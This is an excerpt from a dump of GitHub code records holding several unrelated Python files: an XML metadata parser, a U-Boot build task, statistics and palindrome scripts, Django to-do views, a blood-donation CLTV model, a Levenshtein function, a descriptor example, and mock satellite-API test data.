getWOS(root):\n ret = root.findall(\".REC/UID\")[0].text\n if len(ret) == 0:\n #print(\"No 'WOS' found\")\n return None\n else:\n return ret\n\ndef getAbstract(root):\n ret = root.findall(\"static_data/fullrecord_metadata/abstracts/abstract/abstract_text/\")\n try:\n return ret[0].text\n except:\n return None\n\n","repo_name":"petterasla/IECCS","sub_path":"Information Retrieval/Meta data/Wos Meta/v2/adder.py","file_name":"adder.py","file_ext":"py","file_size_in_byte":6375,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"33559701525","text":"#!/usr/bin/env python3\n\nfrom jolt import attributes, Parameter, Task, utils\nfrom jolt.plugins import git\n\nfrom joltos.jolt.tasks import DistroNameParameter\nfrom joltos.jolt.tasks import DistroVersionParameter\n\n\nsupported_defconfigs = [\n \"edison\",\n \"mx7dsabresd\",\n \"qemu-x86_64\",\n \"qemu_arm\",\n \"rpi_3\",\n \"rpi_4\",\n]\n\n@git.influence(\"packages/u-boot\")\n@attributes.attribute(\"arch_from_config\", \"arch_from_config_{_config}\")\nclass UBoot(Task):\n config = Parameter(values=supported_defconfigs)\n sdk = Parameter()\n\n requires = [\"sdk/{sdk}:arch={arch_from_config}\"]\n\n arch_from_config_edison = \"amd64\"\n arch_from_config_mx7dsabresd = \"armv7\"\n arch_from_config_qemu_x86_64 = \"amd64\"\n arch_from_config_qemu_arm = \"armv7\"\n arch_from_config_rpi_3 = \"aarch64\"\n arch_from_config_rpi_4 = \"aarch64\"\n\n @property\n def _config(self):\n return utils.canonical(str(self.config))\n\n def run(self, deps, tools):\n self.outdir = tools.builddir(incremental=True)\n with tools.chroot(deps[\"sdk/{sdk}:arch={arch_from_config}\"].paths.rootfs):\n tools.run(\"make KBUILD_OUTPUT={outdir} {config}_defconfig\")\n tools.run(\"make KBUILD_OUTPUT={outdir} \")\n\n def publish(self, artifact, tools):\n with tools.cwd(self.outdir):\n artifact.collect(\"u-boot*\")\n","repo_name":"srand/joltos","sub_path":"joltos/packages/u-boot/build.py","file_name":"build.py","file_ext":"py","file_size_in_byte":1331,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"71913806889","text":"\"\"\"\r\nRegistration : 012-1111-0461-20\r\nRoll : 203012-21-0008 \r\nDescription : GAMMA DISTRIBUTION\r\nAuthor : Chitrak Roychowdhury\r\n\"\"\"\r\n\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nfrom scipy.stats import moment\r\nimport scipy.special as sps\r\n\r\n#GAMMA DISTRIBUTION\r\n\r\nshape=6000\r\nscale=2\r\nsize=2\r\nG= np.random.gamma(scale,size,shape)\r\n\r\n#plotting histogram:\r\nn, bins, patches = plt.hist(G, 50, density=True, color='yellow', edgecolor='brown', label='Gamma Function of 6000 random numbers')\r\n\r\n#plotting gamma for visualisation\r\nplt.plot(bins, bins**(scale-1)*(np.exp(-bins/size)/(sps.gamma(scale)*size**scale)), linewidth=2, color='r', label='Theoretical Gamma Distribution')\r\nplt.legend(loc='best')\r\nplt.xlim(0,25)\r\nplt.ylim(0,0.2)\r\nplt.grid(True)\r\nplt.ylabel('$P_{\\Gamma}(x)$')\r\nplt.show()\r\n\r\n# MOMENTS\r\nK = int(input(\"Calculate moment upto: \"))\r\nfor i in range(1,K+1):\r\n print(\"\\n\\t\\tMoment no: \",i)\r\n moment_no = moment(G,moment = i)\r\n print(\"* mu\",i,\": \",moment_no)\r\n\r\n#Theoretical moment\r\n ThMoment=0\r\n moment_=0\r\n for j in range(1,shape):\r\n moment_ = ((G[j]-np.mean(G))**i)/shape\r\n ThMoment+=moment_\r\n print(\"* Theoritical value: \",ThMoment)\r\n print( \"* Error =\" , moment_no-ThMoment)\r\n\r\n# CUMULANTS\r\nc1 = moment(G,1)\r\nprint(\"\\n1 st cumulant \",c1)\r\nc2 = np.mean(moment(G,2))-(np.mean(moment(G,1)))**2\r\nprint(\"2 nd cumulant \",c2)\r\nc3 = np.mean(moment(G,3))-(3*(np.mean(moment(G,2))*(np.mean(moment(G,1)))))+(2*np.mean(moment(G,1)**3))\r\nprint(\"3 rd cumulant \",c3)\r\nc4 = np.mean(moment(G,4))-(4*(c3)*(c1))-(3*c2**2)+(12*c2*c1**2)-(6*c1**4)\r\nprint(\"4 th Cumulant \",c4)\r\n\r\n","repo_name":"chitrak24/Statistical-Mechanics","sub_path":"Gamma Distribution.py","file_name":"Gamma Distribution.py","file_ext":"py","file_size_in_byte":1633,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"967548595","text":"\"\"\"\nThis program prompts a user to input a string, and will check if it is a palindrome.\nThe string can be a single word, or multiple words. The program will also check if a\nmultiple word string contains a palindrome, if it is not entirely a palindrome. It will\nfirst check if it has been given a single word, and if so, check if it is a palindrome.\nIf it detects multiple words, it will check if the full text is a palindrome, and if it\nis not, it will search for a palindrome inside of it.\n\"\"\"\ndef checksingleword(arg: str):\n return arg == arg[::-1]\n\ndef checkphrase(arg: str):\n arg = arg.replace(\" \", \"\")\n return checksingleword(arg)\n# initialise a string called palindrome, used by the findpalindrome function to hold any palindrome found\npalindrome = \"\"\ndef findpalindrome(arg: str):\n global palindrome\n words = arg.split(\" \")\n for i in range(len(words)):\n if checksingleword(words[i]):\n palindrome = words[i]\n return True\n else:\n for j in range(1, len(words)-i):\n if words[i][0] == words[i+j][-1]:\n phrase = \" \".join(words[i:i+j+1])\n if checkphrase(phrase):\n palindrome = phrase\n return True\n# this function removes any characters that have no effect on whether a word is a palindrome, \n# but would otherwise fail the function\ndef cleanupstring(arg: str):\n chars = \",.'-!?\"\n for c in chars:\n if c in arg:\n arg = arg.replace(c, \"\")\n return arg\n# the program is ran here, the text to be searched must be typed into the prompt\nif __name__ == \"__main__\":\n string = cleanupstring(input(\"Please enter the word(s) that you would like to check for a palindrome:\\n\\t\\t\").lower())\n if \" \" in string:\n if checkphrase(string):\n print(\"These words make a palindrome.\")\n elif findpalindrome(string):\n print(\"These words do not make a palindrome, however they do contain a palindrome instead.\\nThe palindrome is: %s\" % palindrome)\n else: print(\"That is not a palindrome.\")\n else:\n if checksingleword(string):\n print(\"That word is a palindrome.\")\n else: print(\"That word is not a palindrome.\")","repo_name":"cillb/Palindrome-Checker","sub_path":"Palindrome_Checker.py","file_name":"Palindrome_Checker.py","file_ext":"py","file_size_in_byte":2251,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"37465403990","text":"from django.shortcuts import render,redirect\nfrom .models import List\nfrom .forms import ListForm\nfrom django.contrib import messages\nfrom django.http import HttpResponseRedirect\n\n# Create your views here.\n\ndef home(request):\n\n\tif request.method=='POST':\n\t\tform = ListForm(request.POST or None)\n\n\t\tif form.is_valid():\n\t\t\tform.save()\n\n\t\t# Now to redirect to the Home Page with the new list item added from top-right corner add list button...\n\t\tall_items = List.objects.all\n\t\tmessages.success(request, 'List-Item has been added Successfully.')\n\t\treturn\trender(request, 'home.html', {'all_items':all_items,'view_style':True})\n\t\t\t\t\n\telse:\n\t\tall_items = List.objects.all\n\t\treturn\trender(request, 'home.html', {'all_items':all_items,'view_style':True})\n\ndef about(request):\n\t\n\tcontext = {'first_name':'Abhishek', 'last_name':'Bhatnagar'}\n\n\treturn\trender(request, 'about.html', context)\n\n\ndef delete(request, list_id):\n\t\n\titem = List.objects.get(pk=list_id)\n\titem.delete()\n\tmessages.success(request, ('Item has been Deleted Successfully.'))\n\treturn redirect('home')\n\n\ndef edit(request, list_id):\n\t\n\tif request.method=='POST':\n\t\t\n\t\titem = List.objects.get(pk=list_id)\n\n\t\tform = ListForm(request.POST or None,instance=item)\n\n\t\tif form.is_valid():\n\t\t\tform.save()\n\t\t\tmessages.success(request, ('Item has been Edited Successfully.'))\n\n\t\t\t# Now to redirect to the Home Page with the new list item added from top-right corner add list button...\n\t\t\treturn\tredirect('home')\n\t\t\t\t\n\telse:\n\t\titem = List.objects.get(pk=list_id)\n\t\treturn\trender(request, 'edit.html', {'item':item})\n","repo_name":"abhibhatnagar4u/To-Do-App","sub_path":"todo_list/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1561,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"30219229984","text":"import numpy as np\nimport pandas as pd\n\nds_df = pd.read_csv('../../input/paper3/bitstampUSD.csv', names=[\"timestamp\", \"rate\", \"volume\"])\n\nds_df = ds_df.set_index(['timestamp'])\n\nds_df.index = pd.to_datetime(ds_df.index, unit='s')\n\ndate_start = '2013-03-01'\ndate_end = '2017-04-01'\n\nprint(ds_df[date_start, date_end].shape)\n\nexit(0)\n\nl_periods = np.array(['10Min', '15Min', '30Min', '60Min'])\n\nfor period in l_periods:\n ds_period_df = pd.concat([ds_df['rate'].resample(period).ohlc(),\n ds_df['volume'].resample(period).sum()], axis=1)\n ds_period_df = ds_period_df.dropna()\n ds_period_df = ds_period_df[date_start:date_end]\n ds_period_df.to_csv('../../output/paper3/bitcoin_' + period + '.csv', encoding='utf-8')\n","repo_name":"M3g4r00t/BitcoinQuali01","sub_path":"src/paper3/preprocess_data_stream.py","file_name":"preprocess_data_stream.py","file_ext":"py","file_size_in_byte":752,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"34697482761","text":"##########################################################\n# Blood Transfusion Prediction with BG-NBD & Gamma-Gamma\n##########################################################\n\n# Çalışma Tanımı: \"Knowledge discovery on RFM model using Bernoulli sequence\" makalesi doğrultusunda \n# Tayvan'daki Hsin-Chu Şehrindeki Kan Transfüzyon Hizmet Merkezinin donör veri tabanına ait veriler kullanılmıştır. Veri edinme tarihi 2008'dir.\n# Amaç: Geçmişte yapılan kan bağışlarını göz önünde bulundurarak verilerin edinildiği tarihten 12 ay sonrası için olası kan bağışı tahminlerini elde etmektir.\n# Bu çalışmanın arka planda sağlık alanında herhangi bir bilimsel dayanağı yoktur.\n# Project Description: In line with the article \"Knowledge discovery on RFM model using Bernoulli sequence\", data from the donor database of the \n# Blood Transfusion Service Center in Hsin-Chu City, Taiwan were used. Data acquisition date is 2008.\n# Purpose: To obtain estimates of possible blood donations for 12 months from the date of data acquisition, taking into account past blood donations.\n# This study has no scientific basis in the background of health.\n\n# Kaynaklar / Sources:\n# https://5cef0b7b43e7a42fd019406d30fe2e79ab6b0d1f.vetisonline.com/science/article/pii/S0957417408004508?via%3Dihub\n# https://archive.ics.uci.edu/ml/datasets/Blood+Transfusion+Service+Center\n# Yeh, I. C., Yang, K. J., & Ting, T. M. (2009). Knowledge discovery on RFM model using Bernoulli sequence. Expert Systems with Applications, 36(3), 5866-5871.\n# https://www.sciencedirect.com/science/article/abs/pii/S0957417408004508\n# https://www.openml.org/d/1464\n\n# Veriler / Data\n\n# V1 = - months since last donation\n# V2: - total number of donation\n# V3: - total blood donated in c.c.\n# V4: - months since first donation\n# and a binary variable representing whether he/she donated blood in March 2007 (1 stand for donating blood; 0 stands for not donating blood).\n\n# Recency = V4 - V1\n# Frequency = V2\n# Monetary: V3\n# T: V4\n\nimport pandas as pd\nfrom lifetimes import BetaGeoFitter\nfrom lifetimes import GammaGammaFitter\n\npd.set_option('display.max_columns', None)\npd.set_option('display.float_format', lambda x: '%.4f' % x)\n\ndf_ = pd.read_csv('datasets/w3/blood-transfusion.csv')\ndf = df_.copy()\ndf.head()\ndf.isnull().sum()\ndf.describe([.90,.99]).T\n\n\n\n# Aykırı değerleri baskılamak için gerekli olan outlier_thresholds ve replace_with_thresholds fonksiyonları:\n# outlier_thresholds and replace_with_thresholds functions to suppress outliers:\n\ndef outlier_thresholds(dataframe, variable):\n quartile1 = dataframe[variable].quantile(0.05)\n quartile3 = dataframe[variable].quantile(0.95)\n interquantile_range = quartile3 - quartile1\n up_limit = (quartile3 + 1.5 * interquantile_range).round()\n low_limit = (quartile1 - 1.5 * interquantile_range).round()\n return low_limit, up_limit\n\ndef replace_with_thresholds(dataframe, variable):\n low_limit, up_limit = outlier_thresholds(dataframe, variable)\n dataframe.loc[(dataframe[variable] < low_limit), variable] = low_limit\n dataframe.loc[(dataframe[variable] > up_limit), variable] = up_limit\n\n\nreplace_with_thresholds(df, \"V3\")\ndf.describe([.90,.99]).T\n\ncltv_dataframe = pd.DataFrame()\ncltv_dataframe[\"recency\"] = (df[\"V4\"] - df[\"V1\"]) * 4\ncltv_dataframe[\"frequency\"] = df[\"V2\"]\ncltv_dataframe[\"monetary\"] = df[\"V3\"] / df[\"V2\"]\ncltv_dataframe[\"T\"] = df[\"V4\"] * 4\n\n# BG/NBD, Gamma-Gamma Modellerinin Kurulması ve CLTV'nin Hesaplanması:\n# Establishment of BG/NBD, Gamma-Gamma Models and Calculation of CLTV\n\nbgf = BetaGeoFitter(penalizer_coef=0.001)\nbgf.fit(cltv_dataframe['frequency'],\n cltv_dataframe['recency'],\n cltv_dataframe['T'])\n\ncltv_dataframe[\"exp_donation_12_month\"] = bgf.predict(48,\n cltv_dataframe['frequency'],\n cltv_dataframe['recency'],\n cltv_dataframe['T']).sort_values(ascending=False)\n\nggf = GammaGammaFitter(penalizer_coef=0.01)\nggf.fit(cltv_dataframe['frequency'], cltv_dataframe['monetary'])\ncltv_dataframe[\"expected_average_donation\"] = ggf.conditional_expected_average_profit(cltv_dataframe['frequency'], cltv_dataframe['monetary'])\n\ncltv_dataframe[\"cltv\"] = ggf.customer_lifetime_value(bgf,\n cltv_dataframe['frequency'],\n cltv_dataframe['recency'],\n cltv_dataframe['T'],\n cltv_dataframe['monetary'],\n time=12,\n freq=\"W\",\n discount_rate=0.01)\n\n# CLTV Değerlerine Göre Segmentlerin Oluşturulması:\n# Creating Segments According to CLTV Values:\n\ncltv_dataframe[\"segment\"] = pd.qcut(cltv_dataframe[\"cltv\"], 4, labels=[\"D\", \"C\", \"B\", \"A\"])\ncltv_dataframe.groupby(\"segment\").agg({\"count\", \"mean\", \"sum\"})\n","repo_name":"basakafes/crm-analysis","sub_path":"02_blood_transfusion_prediction_CLTV.py","file_name":"02_blood_transfusion_prediction_CLTV.py","file_ext":"py","file_size_in_byte":5014,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"10291293029","text":"'''\ninput: \"abc\", \"abde\"\noutput: 2, (add \"e\" and sustitue \"c\" for \"d\"\n'''\n\n#O(nm) time, O(nm) space\ndef levenshteinDistance(str1, str2):\n list1 = [''] + [c for c in str1]\n list2 = [''] + [c for c in str2]\n\t\n matrix = [[None]*len(list2) for i in range(len(list1))]\n\t\n for n in range(len(list1)):\n matrix[n][0] = n\n for m in range(len(list2)):\n matrix[0][m] = m\n\t\n for i in range(1, len(list1)):\n for j in range(1, len(list2)):\n if list1[i] == list2[j]:\n matrix[i][j] = matrix[i-1][j-1]\n else:\n matrix[i][j] = min(matrix[i-1][j], matrix[i-1][j-1], matrix[i][j-1]) + 1\n\t\n return matrix[len(list1)-1][len(list2)-1]\n","repo_name":"sungjun0110/algorithms","sub_path":"python/levenshteinDistance.py","file_name":"levenshteinDistance.py","file_ext":"py","file_size_in_byte":651,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"14615758616","text":"class FloatValue:\n \"\"\"Дескриптор класса\"\"\"\n\n def __set_name__(self, owner, name):\n self.name = '_' + name\n return self.name\n\n def __get__(self, instance, owner):\n return getattr(instance, self.name)\n\n def __set__(self, instance, value):\n if self.float_check(value):\n setattr(instance, self.name, value)\n else:\n raise TypeError(\"Присваивать можно только вещественный тип данных.\")\n\n def float_check(self, value):\n return isinstance(value, float)\n\n\nclass Cell:\n value = FloatValue()\n\n def __init__(self, value=0.0):\n self.value = value\n\nclass TableSheet:\n def __init__(self, N, M):\n self.N = N\n self.M = M\n self.cells = [[Cell() for _ in range(M)] for _ in range(N)]\n\n\ntable = TableSheet(5, 3)\nprint(table.cells)\nn = 1.0\nfor i in range(5):\n for j in range(3):\n table.cells[i][j] = Cell(n)\n n += 1.0\n#\nfor i in table.cells:\n print(i)\n\nres = [int(x.value) for row in table.cells for x in row]\nprint(res)\n","repo_name":"Grino777/OOP_Python","sub_path":"descriptors/descriptor.py","file_name":"descriptor.py","file_ext":"py","file_size_in_byte":1095,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"33647191127","text":"from typing import Dict, Any\n\nimport pytest\n\n\nDUMMY_STAC_IDS = [\n \"CAPELLA_C02_SM_GEO_HH_20210119154519_20210119154523\",\n \"CAPELLA_C02_SM_GEO_HH_20210119154529_20210119154533\",\n \"CAPELLA_C02_SM_GEO_HH_20210119154539_20210119154543\",\n \"CAPELLA_C02_SM_GEO_HH_20210119154549_20210119154553\",\n]\n\n\ndef create_mock_asset_hrefs(stac_id: str = DUMMY_STAC_IDS[0], polarization: str = \"HH\"):\n raster_href = f\"https://test-data.capellaspace.com/capella-test/2021/1/19/{stac_id}/{stac_id}.png?AWSAccessKeyId=********&Expires=*****&Signature=******&x-amz-security-token=****\"\n thumb_href = raster_href.replace(\".png\", \"_thumb.png\")\n return {polarization: {\"href\": raster_href}, \"thumbnail\": {\"href\": thumb_href}}\n\n\ndef create_mock_items_presigned(stac_id: str = DUMMY_STAC_IDS[0], polarization: str = \"HH\", product_type=\"GEO\"):\n assets = create_mock_asset_hrefs(stac_id, polarization)\n return {\"id\": stac_id, \"properties\": {\"sar:product_type\": product_type}, \"assets\": assets}\n\n\nTASK_1 = {\n \"type\": \"Feature\",\n \"geometry\": {\"type\": \"Point\", \"coordinates\": [-100.0000, 40.0000]},\n \"properties\": {\n \"submissionTime\": \"2020-04-21T21:20:54.385Z\",\n \"taskingrequestId\": \"abc\",\n \"taskingrequestName\": \"TASKING_REQUEST_NAME\",\n \"taskingrequestDescription\": \"TASKING_REQUEST_DESCRIPTION\",\n \"userId\": \"MOCK_ID\",\n \"repeatrequestId\": None,\n \"windowOpen\": \"2020-04-21T22:18:57.936Z\",\n \"windowDuration\": 604800,\n \"windowClose\": \"2020-04-28T22:18:57.936Z\",\n \"collectionTier\": \"7_day\",\n \"archiveHoldback\": \"none\",\n \"statusHistory\": [\n {\n \"time\": \"2020-04-23T13:03:21.532Z\",\n \"code\": \"completed\",\n \"message\": \"Tasking request has been completed.\",\n },\n {\n \"time\": \"2020-04-22T15:30:08.756Z\",\n \"code\": \"accepted\",\n \"message\": \"Request can be completely satisfied during validity window.\",\n },\n {\n \"time\": \"2020-04-22T15:25:32.213Z\",\n \"code\": \"submitted\",\n \"message\": \"Request approved and submitted for scheduling\",\n },\n {\n \"time\": \"2020-04-22T03:06:55.485Z\",\n \"code\": \"completed\",\n \"message\": \"Tasking request has been completed.\",\n },\n {\n \"time\": \"2020-04-21T23:25:08.190Z\",\n \"code\": \"accepted\",\n \"message\": \"Request can be completely satisfied during validity window.\",\n },\n {\n \"time\": \"2020-04-21T23:21:26.214Z\",\n \"code\": \"submitted\",\n \"message\": \"Request submitted through automatic approval\",\n },\n {\n \"time\": \"2020-04-21T23:21:24.491Z\",\n \"code\": \"review\",\n \"message\": \"Tasking request ready for review.\",\n },\n {\n \"time\": \"2020-04-21T23:20:54.385Z\",\n \"code\": \"received\",\n \"message\": \"Request created\",\n },\n ],\n \"collectConstraints\": {\n \"lookDirection\": \"either\",\n \"ascDsc\": \"either\",\n \"orbitalPlanes\": [],\n \"localTime\": [[0, 86400]],\n \"offNadirMin\": 25,\n \"offNadirMax\": 40,\n \"collectMode\": \"spotlight\",\n \"imageLength\": 5000,\n \"grrMin\": 0.5,\n \"grrMax\": 0.7,\n \"azrMin\": 0.5,\n \"azrMax\": 0.5,\n \"neszMax\": -10,\n \"numLooks\": 9,\n },\n \"type\": \"spotlight\",\n \"preApproval\": True,\n \"transactionStatus\": \"in-progress\",\n \"sandbox\": False,\n \"order\": {\n \"summary\": {\"total\": \"$20.00\", \"subtotal\": \"$20.00\"},\n \"lineItems\": [\n {\n \"taskId\": \"abc\",\n \"accountingSize\": {\"unit\": \"sqkm\", \"value\": 25},\n }\n ],\n \"archiveHoldback\": \"none\",\n \"managedOrganizationIds\": [\"*\"],\n },\n },\n}\n\nTASK_2 = {\n \"type\": \"Feature\",\n \"geometry\": {\"type\": \"Point\", \"coordinates\": [-100.0000, 40.0000]},\n \"properties\": {\n \"submissionTime\": \"2021-01-21T21:20:54.385Z\",\n \"taskingrequestId\": \"def\",\n \"taskingrequestName\": \"TASKING_REQUEST_NAME\",\n \"taskingrequestDescription\": \"TASKING_REQUEST_DESCRIPTION\",\n \"userId\": \"MOCK_ID\",\n \"repeatrequestId\": None,\n \"windowOpen\": \"2021-01-21T22:18:57.936Z\",\n \"windowDuration\": 604800,\n \"windowClose\": \"2021-01-28T22:18:57.936Z\",\n \"collectionTier\": \"7_day\",\n \"archiveHoldback\": \"none\",\n \"statusHistory\": [\n {\n \"time\": \"2021-01-21T23:25:08.190Z\",\n \"code\": \"accepted\",\n \"message\": \"Request can be completely satisfied during validity window.\",\n },\n {\n \"time\": \"2021-01-21T23:21:26.214Z\",\n \"code\": \"submitted\",\n \"message\": \"Request submitted through automatic approval\",\n },\n {\n \"time\": \"2021-01-21T23:21:24.491Z\",\n \"code\": \"review\",\n \"message\": \"Tasking request ready for review.\",\n },\n {\n \"time\": \"2021-01-21T23:20:54.385Z\",\n \"code\": \"received\",\n \"message\": \"Request created\",\n },\n ],\n \"collectConstraints\": {\n \"lookDirection\": \"either\",\n \"ascDsc\": \"either\",\n \"orbitalPlanes\": [],\n \"localTime\": [[0, 86400]],\n \"offNadirMin\": 25,\n \"offNadirMax\": 40,\n \"collectMode\": \"spotlight\",\n \"imageLength\": 5000,\n \"grrMin\": 0.5,\n \"grrMax\": 0.7,\n \"azrMin\": 0.5,\n \"azrMax\": 0.5,\n \"neszMax\": -10,\n \"numLooks\": 9,\n },\n \"type\": \"spotlight\",\n \"preApproval\": True,\n \"transactionStatus\": \"in-progress\",\n \"sandbox\": False,\n \"order\": {\n \"summary\": {\"total\": \"$20.00\", \"subtotal\": \"$20.00\"},\n \"lineItems\": [\n {\n \"taskId\": \"abc\",\n \"accountingSize\": {\"unit\": \"sqkm\", \"value\": 25},\n }\n ],\n \"archiveHoldback\": \"none\",\n \"managedOrganizationIds\": [\"*\"],\n },\n },\n}\n\n# GET\ndef get_mock_responses(endpoint: str) -> Dict[str, Any]:\n return {\n \"/user\": {\n \"id\": \"MOCK_ID\",\n \"organizationId\": \"MOCK_ORG_ID\",\n \"email\": \"MOCK_EMAIL\",\n },\n \"/orders\": [\n {\n \"userId\": \"MOCK_ID\",\n \"organizationId\": \"MOCK_ORG_ID\",\n \"orderDate\": \"2020-12-21T19:22:23.849Z\",\n \"expirationDate\": \"2020-12-21T20:22:23.849Z\",\n \"orderId\": \"1\",\n \"orderStatus\": \"completed\",\n \"items\": [\n {\n \"granuleId\": \"CAPELLA_C02_SM_SLC_HH_20201126192221_20201126192225\",\n \"type\": \"stripmap\",\n \"size\": 100000000,\n \"collectionId\": \"capella-test\",\n \"previouslyOrdered\": False,\n \"collectionDate\": \"2020-11-27T02:06:41.304Z\",\n }\n ],\n }\n ],\n \"/orders/review_success\": {\n \"authorized\": True,\n },\n \"/orders/review_insufficient_funds\": {\n \"authorized\": False,\n \"authorizationDenialReason\": {\n \"message\": \"This order will exceed your active contract period's value commitment. Order cost: $1,000.00; Available Commitment: $0.00}\",\n \"code\": \"AUTHORIZATION_INSUFFICIENT_FUNDS\",\n },\n },\n \"/orders/1/download\": [\n {\n \"assets\": create_mock_asset_hrefs(),\n \"id\": DUMMY_STAC_IDS[0],\n }\n ],\n \"/orders/2/download\": [\n {\n \"assets\": create_mock_asset_hrefs(DUMMY_STAC_IDS[0]),\n \"id\": DUMMY_STAC_IDS[0],\n },\n {\n \"assets\": create_mock_asset_hrefs(DUMMY_STAC_IDS[1]),\n \"id\": DUMMY_STAC_IDS[1],\n },\n ],\n \"/tasks/paged?page=1&limit=100&customerId=MOCK_ID\": {\n \"results\": [TASK_1, TASK_2],\n \"currentPage\": 1,\n \"totalPages\": 1,\n },\n \"/tasks/paged?page=1&limit=100&organizationId=MOCK_ORG_ID\": {\n \"results\": [TASK_1, TASK_2],\n \"currentPage\": 1,\n \"totalPages\": 1,\n },\n \"/task/abc\": TASK_1,\n \"/task/def\": TASK_2,\n \"/collects/list/abc\": [\n {\n \"center\": [-100.0000, 40.0000, 400.0000],\n \"centerEcef\": [\n 1091094.4086499708,\n -4846330.966449686,\n 3987158.899398989,\n ],\n \"spacecraftId\": 100,\n \"collectId\": \"c1\",\n \"tileId\": \"t1\",\n \"tileGroupId\": \"tg1\",\n \"taskingrequestId\": \"abc\",\n \"repeatrequestId\": None,\n \"windowOpen\": \"2021-01-22T05:23:22.805Z\",\n \"windowClose\": \"2021-14-22T05:23:48.028Z\",\n \"windowDuration\": 25.223843,\n \"accessProperties\": {\n \"ascdsc\": \"ascending\",\n \"lookDirection\": \"left\",\n \"localTime\": 842,\n \"azimuthOpen\": 161.79536059546896,\n \"azimuthClose\": 134.4110657760598,\n \"elevationMin\": 53.727022,\n \"elevationMax\": 54.544628,\n \"offNadirMin\": 32.341101,\n \"offNadirMax\": 33.068666,\n },\n \"collectProperties\": {\n \"collectDuration\": 25.223843519916645,\n \"imageLength\": 5000,\n \"imageWidth\": 5000,\n \"grr\": 0.5171030232519721,\n \"azr\": 0.5,\n \"bandwidth\": None,\n \"nesz\": -17.437903088007353,\n \"meanSquint\": 0,\n \"polarization\": \"HH\",\n },\n \"collectStatusHistory\": [\n {\n \"time\": \"2021-02-03T13:03:20.122Z\",\n \"code\": \"delivered\",\n \"message\": \"The products have been processed and delivered\",\n },\n {\n \"time\": \"2021-02-03T07:24:47.785Z\",\n \"code\": \"qa\",\n \"message\": \"Products awaiting QA before delivery\",\n },\n {\n \"time\": \"2021-02-03T04:41:37.121Z\",\n \"code\": \"processing\",\n \"message\": \"Processing data from raw to higher level products\",\n },\n {\n \"time\": \"2021-01-22T15:06:45.226Z\",\n \"code\": \"delivered\",\n \"message\": \"The products have been processed and delivered\",\n },\n {\n \"time\": \"2021-01-22T08:04:23.197Z\",\n \"code\": \"qa\",\n \"message\": \"Products awaiting QA before delivery\",\n },\n {\n \"time\": \"2021-01-22T07:08:10.007Z\",\n \"code\": \"processing\",\n \"message\": \"Processing data from raw to higher level products\",\n },\n {\n \"time\": \"2021-01-22T06:22:33.423Z\",\n \"code\": \"collected\",\n \"message\": \"Known to have been collected on the spacecraft\",\n },\n {\n \"time\": \"2021-01-22T00:50:10.408Z\",\n \"code\": \"tasked\",\n \"message\": \"Collection of image has been incorporated into a schedule and uplinked to spacecraft.\",\n },\n {\n \"time\": \"2021-01-21T23:21:11.294Z\",\n \"code\": \"predicted\",\n \"message\": \"Collect created\",\n },\n ],\n }\n ],\n }[endpoint]\n\n\ndef get_canned_search_results_single_page() -> Dict[str, Any]:\n return {\n \"features\": [\n {\n \"id\": \"CAPELLA_C02_SP_SLC_HH_20210422052316_20210422052318\",\n \"collection\": \"capella-archive\",\n },\n {\n \"id\": \"CAPELLA_C02_SP_GEC_HH_20210422052305_20210422052329\",\n \"collection\": \"capella-archive\",\n },\n {\n \"id\": \"CAPELLA_C02_SP_GEO_HH_20210422052305_20210422052329\",\n \"collection\": \"capella-archive\",\n },\n {\n \"id\": \"CAPELLA_C02_SP_SICD_HH_20210422052316_20210422052318\",\n \"collection\": \"capella-archive\",\n },\n ],\n \"numberMatched\": 4,\n }\n\n\ndef get_canned_search_results_multi_page_page1() -> Dict[str, Any]:\n return {\n \"features\": [\n {\n \"id\": \"CAPELLA_C02_SP_SLC_HH_20210422052316_20210422052318\",\n \"collection\": \"capella-archive\",\n },\n {\n \"id\": \"CAPELLA_C02_SP_GEC_HH_20210422052305_20210422052329\",\n \"collection\": \"capella-archive\",\n },\n ],\n \"numberMatched\": 4,\n \"links\": [{\"rel\": \"next\", \"href\": \"next_href?page=2\"}],\n }\n\n\ndef get_canned_search_results_multi_page_page2() -> Dict[str, Any]:\n return {\n \"features\": [\n {\n \"id\": \"CAPELLA_C02_SP_GEO_HH_20210422052305_20210422052329\",\n \"collection\": \"capella-archive\",\n },\n {\n \"id\": \"CAPELLA_C02_SP_SICD_HH_20210422052316_20210422052318\",\n \"collection\": \"capella-archive\",\n },\n ],\n \"numberMatched\": 4,\n \"links\": [],\n }\n\n\ndef post_mock_responses(endpoint: str) -> Dict[str, Any]:\n return {\n \"/token\": {\n \"accessToken\": \"MOCK_TOKEN\",\n \"refreshToken\": \"MOCK_REFRESH_TOKEN\",\n },\n \"/token/refresh\": {\n \"accessToken\": \"REFRESHED_MOCK_TOKEN\",\n \"refreshToken\": \"REFRESHED_MOCK_REFRESH_TOKEN\",\n },\n \"/submitOrder\": {\n \"userId\": \"MOCK_ID\",\n \"organizationId\": \"MOCK_ORG_ID\",\n \"orderDate\": \"2020-12-21T19:22:23.849Z\",\n \"expirationDate\": \"2020-12-21T20:22:23.849Z\",\n \"orderId\": \"1\",\n \"orderStatus\": \"completed\",\n \"items\": [\n {\n \"granuleId\": \"CAPELLA_C02_SM_SLC_HH_20201126192221_20201126192225\",\n \"type\": \"stripmap\",\n \"size\": 100000000,\n \"collectionId\": \"capella-test\",\n \"previouslyOrdered\": False,\n \"collectionDate\": \"2020-11-27T02:06:41.304Z\",\n }\n ],\n },\n \"/orders_rejected\": {\n \"orderId\": \"1\",\n \"userId\": \"MOCK_ID\",\n \"organizationId\": \"MOCK_ORG_ID1\",\n \"orderStatus\": \"rejected\",\n },\n }[endpoint]\n\n\ndef get_search_test_cases():\n # search_kwargs, 